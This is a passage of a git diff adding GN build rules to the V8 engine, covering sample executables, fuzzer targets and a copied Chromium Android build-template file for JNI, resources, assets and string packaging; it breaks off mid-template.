+  if (!is_component_build) {
+    sources += [ "$target_gen_dir/d8-js.cc" ]
+  }
+  if (v8_enable_i18n_support) {
+    deps += [ "//third_party/icu" ]
+  }
+}
+
+v8_isolate_run("d8") {
+  deps = [
+    ":d8",
+  ]
+
+  isolate = "//src/d8.isolate"
+}
+
+v8_executable("v8_hello_world") {
+  sources = [
+    "samples/hello-world.cc",
+  ]
+
+  configs = [
+    # Note: don't use :internal_config here because this target will get
+    # the :external_config applied to it by virtue of depending on :v8, and
+    # you can't have both applied to the same target.
+    ":internal_config_base",
+  ]
+
+  deps = [
+    ":v8",
+    ":v8_libplatform",
+    "//build/config/sanitizers:deps",
+    "//build/win:default_exe_manifest",
+  ]
+
+  if (v8_enable_i18n_support) {
+    deps += [ "//third_party/icu" ]
+  }
+}
+
+v8_executable("v8_sample_process") {
+  sources = [
+    "samples/process.cc",
+  ]
+
+  configs = [
+    # Note: don't use :internal_config here because this target will get
+    # the :external_config applied to it by virtue of depending on :v8, and
+    # you can't have both applied to the same target.
+    ":internal_config_base",
+  ]
+
+  deps = [
+    ":v8",
+    ":v8_libplatform",
+    "//build/config/sanitizers:deps",
+    "//build/win:default_exe_manifest",
+  ]
+
+  if (v8_enable_i18n_support) {
+    deps += [ "//third_party/icu" ]
+  }
+}
+
+v8_executable("v8_parser_shell") {
+  sources = [
+    "tools/parser-shell.cc",
+    "tools/shell-utils.h",
+  ]
+
+  configs = [
+    ":external_config",
+    ":internal_config_base",
+  ]
+
+  deps = [
+    ":v8_libplatform",
+    "//build/config/sanitizers:deps",
+    "//build/win:default_exe_manifest",
+  ]
+
+  if (is_component_build) {
+    # v8_parser_shell can't be built against a shared library, so we
+    # need to depend on the underlying static target in that case.
+    deps += [ ":v8_maybe_snapshot" ]
+  } else {
+    deps += [ ":v8" ]
+  }
+
+  if (v8_enable_i18n_support) {
+    deps += [ "//third_party/icu" ]
+  }
+
+  if (is_win) {
+    # Suppress warnings about importing locally defined symbols.
+    if (is_component_build) {
+      ldflags = [
+        "/ignore:4049",
+        "/ignore:4217",
+      ]
+    }
+  }
+}
+
+if (want_v8_shell) {
+  v8_executable("v8_shell") {
+    sources = [
+      "samples/shell.cc",
+    ]
+
+    configs = [
+      # Note: don't use :internal_config here because this target will get
+      # the :external_config applied to it by virtue of depending on :v8, and
+      # you can't have both applied to the same target.
+      ":internal_config_base",
+    ]
+
+    deps = [
+      ":v8",
+      ":v8_libplatform",
+      "//build/config/sanitizers:deps",
+      "//build/win:default_exe_manifest",
+    ]
+
+    if (v8_enable_i18n_support) {
+      deps += [ "//third_party/icu" ]
+    }
+  }
+}
+
+template("v8_fuzzer") {
+  name = target_name
+  forward_variables_from(invoker, "*")
+  v8_executable("v8_simple_" + name) {
+    deps = [
+      ":" + name,
+      ":simple_fuzzer",
+      "//build/win:default_exe_manifest",
+    ]
+
+    configs = [ ":external_config" ]
+  }
+}
+
+v8_source_set("json_fuzzer") {
+  sources = [
+    "test/fuzzer/json.cc",
+  ]
+
+  deps = [
+    ":fuzzer_support",
+  ]
+
+  configs = [ ":internal_config" ]
+}
+
+v8_fuzzer("json_fuzzer") {
+}
+
+v8_source_set("parser_fuzzer") {
+  sources = [
+    "test/fuzzer/parser.cc",
+  ]
+
+  deps = [
+    ":fuzzer_support",
+  ]
+
+  configs = [ ":internal_config" ]
+}
+
+v8_fuzzer("parser_fuzzer") {
+}
+
+v8_source_set("regexp_fuzzer") {
+  sources = [
+    "test/fuzzer/regexp.cc",
+  ]
+
+  deps = [
+    ":fuzzer_support",
+  ]
+
+  configs = [ ":internal_config" ]
+}
+
+v8_fuzzer("regexp_fuzzer") {
+}
+
+v8_source_set("wasm_fuzzer") {
+  sources = [
+    "test/fuzzer/wasm.cc",
+  ]
+
+  deps = [
+    ":fuzzer_support",
+  ]
+
+  configs = [ ":internal_config" ]
+}
+
+v8_fuzzer("wasm_fuzzer") {
+}
+
+v8_source_set("wasm_asmjs_fuzzer") {
+  sources = [
+    "test/fuzzer/wasm-asmjs.cc",
+  ]
+
+  deps = [
+    ":fuzzer_support",
+  ]
+
+  configs = [ ":internal_config" ]
+}
+
+v8_fuzzer("wasm_asmjs_fuzzer") {
+}
diff --git a/samples/GN/android-rules.gni b/samples/GN/android-rules.gni
new file mode 100644
index 0000000000..0f18914339
--- /dev/null
+++ b/samples/GN/android-rules.gni
@@ -0,0 +1,2781 @@
+# Copyright 2014 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+# Do not add any imports to non-//build directories here.
+# Some projects (e.g. V8) do not have non-build directories DEPS'ed in.
+import("//build/config/android/config.gni")
+import("//build/config/android/internal_rules.gni")
+import("//build/config/compiler/compiler.gni")
+import("//build/config/dcheck_always_on.gni")
+import("//build/toolchain/toolchain.gni")
+
+assert(is_android)
+
+# Creates a dist directory for a native executable.
+#
+# Running a native executable on a device requires all the shared library
+# dependencies of that executable. To make it easier to install and run such an
+# executable, this will create a directory containing the native exe and all
+# it's library dependencies.
+#
+# Note: It's usually better to package things as an APK than as a native
+# executable.
+#
+# Variables
+#   dist_dir: Directory for the exe and libraries. Everything in this directory
+#     will be deleted before copying in the exe and libraries.
+#   binary: Path to (stripped) executable.
+#   extra_files: List of extra files to copy in (optional).
+#
+# Example
+#   create_native_executable_dist("foo_dist") {
+#     dist_dir = "$root_build_dir/foo_dist"
+#     binary = "$root_build_dir/foo"
+#     deps = [ ":the_thing_that_makes_foo" ]
+#   }
+template("create_native_executable_dist") {
+  forward_variables_from(invoker, [ "testonly" ])
+
+  _libraries_list = "${target_gen_dir}/${target_name}_library_dependencies.list"
+
+  _find_deps_target_name = "${target_name}__find_library_dependencies"
+
+  # TODO(agrieve): Extract dependent libs from GN rather than readelf.
+  action(_find_deps_target_name) {
+    forward_variables_from(invoker, [ "deps" ])
+
+    script = "//build/android/gyp/write_ordered_libraries.py"
+    depfile = "$target_gen_dir/$target_name.d"
+    inputs = [
+      invoker.binary,
+      android_readelf,
+    ]
+    outputs = [
+      _libraries_list,
+    ]
+    rebased_binaries = rebase_path([ invoker.binary ], root_build_dir)
+    args = [
+      "--depfile",
+      rebase_path(depfile, root_build_dir),
+      "--input-libraries=$rebased_binaries",
+      "--libraries-dir",
+      rebase_path(root_shlib_dir, root_build_dir),
+      "--output",
+      rebase_path(_libraries_list, root_build_dir),
+      "--readelf",
+      rebase_path(android_readelf, root_build_dir),
+    ]
+  }
+
+  copy_ex(target_name) {
+    clear_dir = true
+
+    inputs = [
+      _libraries_list,
+      invoker.binary,
+    ]
+
+    dest = invoker.dist_dir
+    data = [
+      "${invoker.dist_dir}/",
+    ]
+
+    _rebased_libraries_list = rebase_path(_libraries_list, root_build_dir)
+    _rebased_binaries_list = rebase_path([ invoker.binary ], root_build_dir)
+    args = [
+      "--files=@FileArg($_rebased_libraries_list:lib_paths)",
+      "--files=$_rebased_binaries_list",
+    ]
+    if (defined(invoker.extra_files)) {
+      _rebased_extra_files = rebase_path(invoker.extra_files, root_build_dir)
+      args += [ "--files=$_rebased_extra_files" ]
+    }
+
+    deps = [
+      ":$_find_deps_target_name",
+    ]
+    if (defined(invoker.deps)) {
+      deps += invoker.deps
+    }
+  }
+}
+
+# Writes a script to root_out_dir/bin that passes --output-directory to the
+# wrapped script, in addition to forwarding arguments. Most / all of these
+# wrappers should be made deps of //tools/android:android_tools.
+#
+# Variables
+#   target: Script to wrap.
+#   flag_name: Default is "--output-directory"
+#
+# Example
+#   wrapper_script("foo_wrapper") {
+#     target = "//pkg/foo.py"
+#   }
+template("wrapper_script") {
+  action(target_name) {
+    _name = get_path_info(invoker.target, "name")
+    _output = "$root_out_dir/bin/$_name"
+
+    script = "//build/android/gyp/create_tool_wrapper.py"
+    outputs = [
+      _output,
+    ]
+
+    # The target isn't actually used by the script, but it's nice to have GN
+    # check that it exists.
+    inputs = [
+      invoker.target,
+    ]
+    args = [
+      "--output",
+      rebase_path(_output, root_build_dir),
+      "--target",
+      rebase_path(invoker.target, root_build_dir),
+      "--output-directory",
+      rebase_path(root_out_dir, root_build_dir),
+    ]
+    if (defined(invoker.flag_name)) {
+      args += [ "--flag-name=${invoker.flag_name}" ]
+    }
+  }
+}
+
+if (enable_java_templates) {
+  import("//build/config/sanitizers/sanitizers.gni")
+  import("//tools/grit/grit_rule.gni")
+
+  # Declare a jni target
+  #
+  # This target generates the native jni bindings for a set of .java files.
+  #
+  # See base/android/jni_generator/jni_generator.py for more info about the
+  # format of generating JNI bindings.
+  #
+  # Variables
+  #   sources: list of .java files to generate jni for
+  #   jni_package: subdirectory path for generated bindings
+  #
+  # Example
+  #   generate_jni("foo_jni") {
+  #     sources = [
+  #       "android/java/src/org/chromium/foo/Foo.java",
+  #       "android/java/src/org/chromium/foo/FooUtil.java",
+  #     ]
+  #     jni_package = "foo"
+  #   }
+  template("generate_jni") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    assert(defined(invoker.sources))
+    assert(defined(invoker.jni_package))
+    jni_package = invoker.jni_package
+    base_output_dir = "${target_gen_dir}/${target_name}"
+    package_output_dir = "${base_output_dir}/${jni_package}"
+    jni_output_dir = "${package_output_dir}/jni"
+
+    jni_generator_include =
+        "//base/android/jni_generator/jni_generator_helper.h"
+
+    foreach_target_name = "${target_name}__jni_gen"
+    action_foreach(foreach_target_name) {
+      script = "//base/android/jni_generator/jni_generator.py"
+      depfile = "$target_gen_dir/$target_name.{{source_name_part}}.d"
+      sources = invoker.sources
+      outputs = [
+        "${jni_output_dir}/{{source_name_part}}_jni.h",
+      ]
+
+      args = [
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+        "--input_file={{source}}",
+        "--optimize_generation=1",
+        "--ptr_type=long",
+        "--output_dir",
+        rebase_path(jni_output_dir, root_build_dir),
+        "--includes",
+        rebase_path(jni_generator_include, jni_output_dir),
+        "--native_exports_optional",
+      ]
+
+      if (enable_profiling) {
+        args += [ "--enable_profiling" ]
+      }
+    }
+
+    config("jni_includes_${target_name}") {
+      # TODO(cjhopman): #includes should probably all be relative to
+      # base_output_dir. Remove that from this config once the includes are
+      # updated.
+      include_dirs = [
+        base_output_dir,
+        package_output_dir,
+      ]
+    }
+
+    group(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "public_deps",
+                               "visibility",
+                             ])
+      if (!defined(public_deps)) {
+        public_deps = []
+      }
+      public_deps += [ ":$foreach_target_name" ]
+      public_configs = [ ":jni_includes_${target_name}" ]
+    }
+  }
+
+  # Declare a jni target for a prebuilt jar
+  #
+  # This target generates the native jni bindings for a set of classes in a .jar.
+  #
+  # See base/android/jni_generator/jni_generator.py for more info about the
+  # format of generating JNI bindings.
+  #
+  # Variables
+  #   classes: list of .class files in the jar to generate jni for. These should
+  #     include the full path to the .class file.
+  #   jni_package: subdirectory path for generated bindings
+  #   jar_file: the path to the .jar. If not provided, will default to the sdk's
+  #     android.jar
+  #
+  #   deps, public_deps: As normal
+  #
+  # Example
+  #   generate_jar_jni("foo_jni") {
+  #     classes = [
+  #       "android/view/Foo.class",
+  #     ]
+  #     jni_package = "foo"
+  #   }
+  template("generate_jar_jni") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    assert(defined(invoker.classes))
+    assert(defined(invoker.jni_package))
+
+    if (defined(invoker.jar_file)) {
+      jar_file = invoker.jar_file
+    } else {
+      jar_file = android_sdk_jar
+    }
+
+    jni_package = invoker.jni_package
+    base_output_dir = "${root_gen_dir}/${target_name}/${jni_package}"
+    jni_output_dir = "${base_output_dir}/jni"
+
+    jni_generator_include =
+        "//base/android/jni_generator/jni_generator_helper.h"
+
+    # TODO(cjhopman): make jni_generator.py support generating jni for multiple
+    # .class files from a .jar.
+    jni_actions = []
+    foreach(class, invoker.classes) {
+      _classname_list = []
+      _classname_list = process_file_template([ class ], "{{source_name_part}}")
+      classname = _classname_list[0]
+      jni_target_name = "${target_name}__jni_${classname}"
+      jni_actions += [ ":$jni_target_name" ]
+      action(jni_target_name) {
+        # The sources aren't compiled so don't check their dependencies.
+        check_includes = false
+        depfile = "$target_gen_dir/$target_name.d"
+        script = "//base/android/jni_generator/jni_generator.py"
+        sources = [
+          jar_file,
+        ]
+        outputs = [
+          "${jni_output_dir}/${classname}_jni.h",
+        ]
+
+        args = [
+          "--depfile",
+          rebase_path(depfile, root_build_dir),
+          "--jar_file",
+          rebase_path(jar_file, root_build_dir),
+          "--input_file",
+          class,
+          "--optimize_generation=1",
+          "--ptr_type=long",
+          "--output_dir",
+          rebase_path(jni_output_dir, root_build_dir),
+          "--includes",
+          rebase_path(jni_generator_include, jni_output_dir),
+          "--native_exports_optional",
+        ]
+
+        if (enable_profiling) {
+          args += [ "--enable_profiling" ]
+        }
+      }
+    }
+
+    config("jni_includes_${target_name}") {
+      include_dirs = [ base_output_dir ]
+    }
+
+    group(target_name) {
+      public_deps = []
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "public_deps",
+                               "visibility",
+                             ])
+      public_deps += jni_actions
+      public_configs = [ ":jni_includes_${target_name}" ]
+    }
+  }
+
+  # Declare a target for c-preprocessor-generated java files
+  #
+  # NOTE: For generating Java conterparts to enums prefer using the java_cpp_enum
+  #       rule instead.
+  #
+  # This target generates java files using the host C pre-processor. Each file in
+  # sources will be compiled using the C pre-processor. If include_path is
+  # specified, it will be passed (with --I) to the pre-processor.
+  #
+  # This target will create a single .srcjar. Adding this target to an
+  # android_library target's srcjar_deps will make the generated java files be
+  # included in that library's final outputs.
+  #
+  # Variables
+  #   sources: list of files to be processed by the C pre-processor. For each
+  #     file in sources, there will be one .java file in the final .srcjar. For a
+  #     file named FooBar.template, a java file will be created with name
+  #     FooBar.java.
+  #   inputs: additional compile-time dependencies. Any files
+  #     `#include`-ed in the templates should be listed here.
+  #   package_name: this will be the subdirectory for each .java file in the
+  #     .srcjar.
+  #
+  # Example
+  #   java_cpp_template("foo_generated_enum") {
+  #     sources = [
+  #       "android/java/templates/Foo.template",
+  #     ]
+  #     inputs = [
+  #       "android/java/templates/native_foo_header.h",
+  #     ]
+  #
+  #     package_name = "org/chromium/base/library_loader"
+  #     include_path = "android/java/templates"
+  #   }
+  template("java_cpp_template") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    _include_path = "//"
+    if (defined(invoker.include_path)) {
+      _include_path = invoker.include_path
+    }
+
+    _apply_gcc_target_name = "${target_name}__apply_gcc"
+    _base_gen_dir = "${target_gen_dir}/${target_name}/java_cpp_template"
+
+    action_foreach(_apply_gcc_target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "public_deps",
+                               "data_deps",
+                             ])
+      script = "//build/android/gyp/gcc_preprocess.py"
+      if (defined(invoker.inputs)) {
+        inputs = invoker.inputs + []
+      }
+      depfile =
+          "${target_gen_dir}/${invoker.target_name}_{{source_name_part}}.d"
+
+      sources = invoker.sources
+
+      outputs = [
+        "$_base_gen_dir/${invoker.package_name}/{{source_name_part}}.java",
+      ]
+
+      args = [
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+        "--include-path",
+        rebase_path(_include_path, root_build_dir),
+        "--output",
+        rebase_path(outputs[0], root_build_dir),
+        "--template={{source}}",
+      ]
+
+      if (defined(invoker.defines)) {
+        foreach(def, invoker.defines) {
+          args += [
+            "--defines",
+            def,
+          ]
+        }
+      }
+    }
+
+    # Filter out .d files.
+    set_sources_assignment_filter([ "*.d" ])
+    sources = get_target_outputs(":$_apply_gcc_target_name")
+
+    zip(target_name) {
+      forward_variables_from(invoker, [ "visibility" ])
+      inputs = sources
+      output = "${target_gen_dir}/${target_name}.srcjar"
+      base_dir = _base_gen_dir
+      deps = [
+        ":$_apply_gcc_target_name",
+      ]
+    }
+  }
+
+  # Declare a target for generating Java classes from C++ enums.
+  #
+  # This target generates Java files from C++ enums using a script.
+  #
+  # This target will create a single .srcjar. Adding this target to an
+  # android_library target's srcjar_deps will make the generated java files be
+  # included in that library's final outputs.
+  #
+  # Variables
+  #   sources: list of files to be processed by the script. For each annotated
+  #     enum contained in the sources files the script will generate a .java
+  #     file with the same name as the name of the enum.
+  #
+  # Example
+  #   java_cpp_enum("foo_generated_enum") {
+  #     sources = [
+  #       "src/native_foo_header.h",
+  #     ]
+  #   }
+  template("java_cpp_enum") {
+    action(target_name) {
+      # The sources aren't compiled so don't check their dependencies.
+      check_includes = false
+      set_sources_assignment_filter([])
+
+      assert(defined(invoker.sources))
+      forward_variables_from(invoker,
+                             [
+                               "sources",
+                               "testonly",
+                               "visibility",
+                             ])
+
+      script = "//build/android/gyp/java_cpp_enum.py"
+      depfile = "$target_gen_dir/$target_name.d"
+
+      _srcjar_path = "${target_gen_dir}/${target_name}.srcjar"
+      _rebased_srcjar_path = rebase_path(_srcjar_path, root_build_dir)
+      _rebased_sources = rebase_path(invoker.sources, root_build_dir)
+
+      args = [
+               "--depfile",
+               rebase_path(depfile, root_build_dir),
+               "--srcjar=$_rebased_srcjar_path",
+             ] + _rebased_sources
+      outputs = [
+        _srcjar_path,
+      ]
+    }
+  }
+
+  # Declare a target for processing a Jinja template.
+  #
+  # Variables
+  #   input: The template file to be processed.
+  #   output: Where to save the result.
+  #   variables: (Optional) A list of variables to make available to the template
+  #     processing environment, e.g. ["name=foo", "color=red"].
+  #
+  # Example
+  #   jinja_template("chrome_public_manifest") {
+  #     input = "java/AndroidManifest.xml"
+  #     output = "$target_gen_dir/AndroidManifest.xml"
+  #   }
+  template("jinja_template") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    assert(defined(invoker.input))
+    assert(defined(invoker.output))
+
+    action(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "visibility",
+                               "deps",
+                             ])
+
+      sources = [
+        invoker.input,
+      ]
+      script = "//build/android/gyp/jinja_template.py"
+      depfile = "$target_gen_dir/$target_name.d"
+
+      outputs = [
+        invoker.output,
+      ]
+
+      args = [
+        "--loader-base-dir",
+        rebase_path("//", root_build_dir),
+        "--inputs",
+        rebase_path(invoker.input, root_build_dir),
+        "--output",
+        rebase_path(invoker.output, root_build_dir),
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+      ]
+      if (defined(invoker.variables)) {
+        variables = invoker.variables
+        args += [ "--variables=${variables}" ]
+      }
+    }
+  }
+
+  # Declare a target for processing Android resources as Jinja templates.
+  #
+  # This takes an Android resource directory where each resource is a Jinja
+  # template, processes each template, then packages the results in a zip file
+  # which can be consumed by an android resources, library, or apk target.
+  #
+  # If this target is included in the deps of an android resources/library/apk,
+  # the resources will be included with that target.
+  #
+  # Variables
+  #   resources: The list of resources files to process.
+  #   res_dir: The resource directory containing the resources.
+  #   variables: (Optional) A list of variables to make available to the template
+  #     processing environment, e.g. ["name=foo", "color=red"].
+  #
+  # Example
+  #   jinja_template_resources("chrome_public_template_resources") {
+  #     res_dir = "res_template"
+  #     resources = ["res_template/xml/syncable.xml"]
+  #     variables = ["color=red"]
+  #   }
+  template("jinja_template_resources") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    assert(defined(invoker.resources))
+    assert(defined(invoker.res_dir))
+
+    _base_path = "$target_gen_dir/$target_name"
+    _resources_zip = _base_path + ".resources.zip"
+    _build_config = _base_path + ".build_config"
+
+    write_build_config("${target_name}__build_config") {
+      build_config = _build_config
+      resources_zip = _resources_zip
+      type = "android_resources"
+      if (defined(invoker.deps)) {
+        possible_config_deps = invoker.deps
+      }
+    }
+
+    action("${target_name}__template") {
+      forward_variables_from(invoker, [ "deps" ])
+      sources = invoker.resources
+      script = "//build/android/gyp/jinja_template.py"
+      depfile = "$target_gen_dir/$target_name.d"
+
+      outputs = [
+        _resources_zip,
+      ]
+
+      rebased_resources = rebase_path(invoker.resources, root_build_dir)
+      args = [
+        "--inputs=${rebased_resources}",
+        "--inputs-base-dir",
+        rebase_path(invoker.res_dir, root_build_dir),
+        "--outputs-zip",
+        rebase_path(_resources_zip, root_build_dir),
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+      ]
+      if (defined(invoker.variables)) {
+        variables = invoker.variables
+        args += [ "--variables=${variables}" ]
+      }
+    }
+
+    group(target_name) {
+      public_deps = [
+        ":${target_name}__build_config",
+        ":${target_name}__template",
+      ]
+    }
+  }
+
+  # Declare an Android resources target
+  #
+  # This creates a resources zip file that will be used when building an Android
+  # library or apk and included into a final apk.
+  #
+  # To include these resources in a library/apk, this target should be listed in
+  # the library's deps. A library/apk will also include any resources used by its
+  # own dependencies.
+  #
+  # Variables
+  #   deps: Specifies the dependencies of this target. Any Android resources
+  #     listed in deps will be included by libraries/apks that depend on this
+  #     target.
+  #   resource_dirs: List of directories containing resources for this target.
+  #   generated_resource_dirs: List of directories containing resources for this
+  #     target which are *generated* by a dependency. |generated_resource_files|
+  #     must be specified if |generated_resource_dirs| is specified.
+  #   generated_resource_files: List of all files in |generated_resource_dirs|.
+  #     |generated_resource_dirs| must be specified in |generated_resource_files|
+  #     is specified.
+  #   android_manifest: AndroidManifest.xml for this target. Defaults to
+  #     //build/android/AndroidManifest.xml.
+  #   android_manifest_dep: Target that generates AndroidManifest (if applicable)
+  #   custom_package: java package for generated .java files.
+  #   v14_skip: If true, don't run v14 resource generator on this. Defaults to
+  #     false. (see build/android/gyp/generate_v14_compatible_resources.py)
+  #   shared_resources: If true make a resource package that can be loaded by a
+  #     different application at runtime to access the package's resources.
+  #   app_as_shared_lib: If true make a resource package that can be loaded as
+  #     both shared_resources and normal application.
+
+  # Example:
+  #   android_resources("foo_resources") {
+  #     deps = [":foo_strings_grd"]
+  #     resource_dirs = ["res"]
+  #     custom_package = "org.chromium.foo"
+  #   }
+  #
+  #   android_resources("foo_resources_overrides") {
+  #     deps = [":foo_resources"]
+  #     resource_dirs = ["res_overrides"]
+  #   }
+  template("android_resources") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    assert(defined(invoker.resource_dirs))
+
+    base_path = "$target_gen_dir/$target_name"
+    zip_path = base_path + ".resources.zip"
+    srcjar_path = base_path + ".srcjar"
+    r_text_path = base_path + "_R.txt"
+    build_config = base_path + ".build_config"
+
+    build_config_target_name = "${target_name}__build_config"
+    process_resources_target_name = "${target_name}__process_resources"
+    final_target_name = target_name
+
+    write_build_config(build_config_target_name) {
+      type = "android_resources"
+      forward_variables_from(invoker,
+                             [
+                               "android_manifest",
+                               "custom_package",
+                             ])
+      resource_dirs = []
+      if (defined(invoker.resource_dirs)) {
+        resource_dirs += invoker.resource_dirs
+      }
+      if (defined(invoker.generated_resource_dirs)) {
+        resource_dirs += invoker.generated_resource_dirs
+      }
+
+      if (defined(invoker.deps)) {
+        possible_config_deps = invoker.deps
+      }
+      if (defined(invoker.android_manifest_dep)) {
+        deps = [
+          invoker.android_manifest_dep,
+        ]
+      }
+
+      # No package means resources override their deps.
+      if (defined(custom_package) || defined(android_manifest)) {
+        r_text = r_text_path
+      } else {
+        assert(defined(invoker.deps),
+               "Must specify deps when custom_package is omitted.")
+      }
+
+      resources_zip = zip_path
+      srcjar = srcjar_path
+    }
+
+    process_resources(process_resources_target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "app_as_shared_lib",
+                               "android_manifest",
+                               "custom_package",
+                               "deps",
+                               "generated_resource_dirs",
+                               "generated_resource_files",
+                               "resource_dirs",
+                               "shared_resources",
+                               "v14_skip",
+                             ])
+      if (!defined(deps)) {
+        deps = []
+      }
+      deps += [ ":$build_config_target_name" ]
+      if (defined(invoker.android_manifest_dep)) {
+        deps += [ invoker.android_manifest_dep ]
+      }
+
+      # Always generate R.onResourcesLoaded() method, it is required for
+      # compiling ResourceRewriter, there is no side effect because the
+      # generated R.class isn't used in final apk.
+      shared_resources = true
+      if (!defined(android_manifest)) {
+        android_manifest = "//build/android/AndroidManifest.xml"
+      }
+    }
+
+    group(final_target_name) {
+      forward_variables_from(invoker, [ "visibility" ])
+      public_deps = [
+        ":${target_name}__process_resources",
+      ]
+    }
+  }
+
+  # Declare an Android assets target.
+  #
+  # Defines a set of files to include as assets in a dependent apk.
+  #
+  # To include these assets in an apk, this target should be listed in
+  # the apk's deps, or in the deps of a library target used by an apk.
+  #
+  # Variables
+  #   deps: Specifies the dependencies of this target. Any Android assets
+  #     listed in deps will be included by libraries/apks that depend on this
+  #     target.
+  #   sources: List of files to include as assets.
+  #   renaming_sources: List of files to include as assets and be renamed.
+  #   renaming_destinations: List of asset paths for files in renaming_sources.
+  #   disable_compression: Whether to disable compression for files that are
+  #     known to be compressable (default: false).
+  #
+  # Example:
+  # android_assets("content_shell_assets") {
+  #   deps = [
+  #     ":generates_foo",
+  #     ":other_assets",
+  #     ]
+  #   sources = [
+  #     "//path/asset1.png",
+  #     "//path/asset2.png",
+  #     "$target_gen_dir/foo.dat",
+  #   ]
+  # }
+  #
+  # android_assets("overriding_content_shell_assets") {
+  #   deps = [ ":content_shell_assets" ]
+  #   # Override foo.dat from content_shell_assets.
+  #   sources = [ "//custom/foo.dat" ]
+  #   renaming_sources = [ "//path/asset2.png" ]
+  #   renaming_destinations = [ "renamed/asset2.png" ]
+  # }
+  template("android_assets") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    _build_config = "$target_gen_dir/$target_name.build_config"
+    _build_config_target_name = "${target_name}__build_config"
+
+    write_build_config(_build_config_target_name) {
+      type = "android_assets"
+      build_config = _build_config
+
+      forward_variables_from(invoker, [ "disable_compression" ])
+
+      if (defined(invoker.deps)) {
+        possible_config_deps = invoker.deps
+      }
+
+      if (defined(invoker.sources)) {
+        asset_sources = invoker.sources
+      }
+      if (defined(invoker.renaming_sources)) {
+        assert(defined(invoker.renaming_destinations))
+        _source_count = 0
+        foreach(_, invoker.renaming_sources) {
+          _source_count += 1
+        }
+        _dest_count = 0
+        foreach(_, invoker.renaming_destinations) {
+          _dest_count += 1
+        }
+        assert(
+            _source_count == _dest_count,
+            "android_assets() renaming_sources.length != renaming_destinations.length")
+        asset_renaming_sources = invoker.renaming_sources
+        asset_renaming_destinations = invoker.renaming_destinations
+      }
+    }
+
+    group(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "visibility",
+                             ])
+      public_deps = [
+        ":$_build_config_target_name",
+      ]
+    }
+  }
+
+  # Declare a group() that supports forwarding java dependency information.
+  #
+  # Example
+  #  java_group("conditional_deps") {
+  #    if (enable_foo) {
+  #      deps = [":foo_java"]
+  #    }
+  #  }
+  template("java_group") {
+    forward_variables_from(invoker, [ "testonly" ])
+    write_build_config("${target_name}__build_config") {
+      type = "group"
+      build_config = "$target_gen_dir/${invoker.target_name}.build_config"
+      if (defined(invoker.deps)) {
+        possible_config_deps = invoker.deps
+      }
+    }
+    group(target_name) {
+      forward_variables_from(invoker, "*")
+      if (!defined(deps)) {
+        deps = []
+      }
+      deps += [ ":${target_name}__build_config" ]
+    }
+  }
+
+  # Declare a target that generates localized strings.xml from a .grd file.
+  #
+  # If this target is included in the deps of an android resources/library/apk,
+  # the strings.xml will be included with that target.
+  #
+  # Variables
+  #   deps: Specifies the dependencies of this target.
+  #   grd_file: Path to the .grd file to generate strings.xml from.
+  #   outputs: Expected grit outputs (see grit rule).
+  #
+  # Example
+  #  java_strings_grd("foo_strings_grd") {
+  #    grd_file = "foo_strings.grd"
+  #  }
+  template("java_strings_grd") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    base_path = "$target_gen_dir/$target_name"
+    resources_zip = base_path + ".resources.zip"
+    build_config = base_path + ".build_config"
+
+    write_build_config("${target_name}__build_config") {
+      type = "android_resources"
+    }
+
+    # Put grit files into this subdirectory of target_gen_dir.
+    extra_output_path = target_name + "_grit_output"
+
+    grit_target_name = "${target_name}__grit"
+    grit_output_dir = "$target_gen_dir/$extra_output_path"
+    grit(grit_target_name) {
+      forward_variables_from(invoker, [ "deps" ])
+      grit_flags = [
+        "-E",
+        "ANDROID_JAVA_TAGGED_ONLY=false",
+      ]
+      output_dir = grit_output_dir
+      resource_ids = ""
+      source = invoker.grd_file
+      outputs = invoker.outputs
+    }
+
+    # This needs to get outputs from grit's internal target, not the final
+    # source_set.
+    generate_strings_outputs = get_target_outputs(":${grit_target_name}_grit")
+
+    zip("${target_name}__zip") {
+      base_dir = grit_output_dir
+      inputs = generate_strings_outputs
+      output = resources_zip
+      deps = [
+        ":$grit_target_name",
+      ]
+    }
+
+    group(target_name) {
+      public_deps = [
+        ":${target_name}__build_config",
+        ":${target_name}__zip",
+      ]
+    }
+  }
+
+  # Declare a target that packages strings.xml generated from a grd file.
+  #
+  # If this target is included in the deps of an android resources/library/apk,
+  # the strings.xml will be included with that target.
+  #
+  # Variables
+  #  grit_output_dir: directory containing grit-generated files.
+  #  generated_files: list of android resource files to package.
+  #
+  # Example
+  #  java_strings_grd_prebuilt("foo_strings_grd") {
+  #    grit_output_dir = "$root_gen_dir/foo/grit"
+  #    generated_files = [
+  #      "values/strings.xml"
+  #    ]
+  #  }
+  template("java_strings_grd_prebuilt") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    base_path = "$target_gen_dir/$target_name"
+    resources_zip = base_path + ".resources.zip"
+    build_config = base_path + ".build_config"
+
+    build_config_target_name = "${target_name}__build_config"
+    zip_target_name = "${target_name}__zip"
+    final_target_name = target_name
+
+    write_build_config(build_config_target_name) {
+      type = "android_resources"
+    }
+
+    zip(zip_target_name) {
+      visibility = [ ":$final_target_name" ]
+
+      base_dir = invoker.grit_output_dir
+      inputs = rebase_path(invoker.generated_files, ".", base_dir)
+      output = resources_zip
+      deps = [
+        ":$build_config_target_name",
+      ]
